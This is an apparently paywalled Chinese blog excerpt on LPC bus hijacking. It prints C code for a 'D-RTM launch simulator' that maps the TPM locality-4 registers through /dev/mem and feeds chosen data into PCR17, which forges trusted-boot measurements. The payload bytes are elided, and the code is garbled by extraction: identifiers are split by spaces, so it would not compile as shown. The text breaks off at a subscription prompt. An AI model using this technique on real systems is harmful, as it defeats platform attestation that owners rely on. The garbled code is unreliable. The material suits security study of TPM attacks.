探索LPC总线劫持与传感器网络安全事件日志记录
一、LPC总线劫持攻击相关
- D - RTM启动模拟器代码
以下是一个D - RTM启动模拟器的代码示例:
#include <sys /mman. h>
#include <f c n t l . h>
#include <unistd . h>
#define LOC4 WR BASE 0xA0524000
static
char
pcr17 data [ ]
= {
...
} ;
int
main ( int
argc ,
char
**argv )
{
int
fd = open ( "/dev/mem" , O RDWR) ;
char *tpm = mmap(0 ,
4096 , PROT READ|PROT WRITE,
MAP SHARED,
fd ,
LOC4 WR BASE ) ;
char *src = pcr17 data ;
unsigned
size = sizeof ( pcr17 data ) ;
tpm [ 0x28 ] = 0x00 ;
// TPM HASH START
while
( size --) {
tpm [ 0x24 ] = *src ++;
// TPM HASH DATA
}
tpm [ 0x20 ] = 0x00 ;
// TPM HASH END
return
0 ;
}
此代码模拟了D - RTM的启
超级会员免费看
订阅专栏 解锁全文
331

被折叠的 条评论
为什么被折叠?



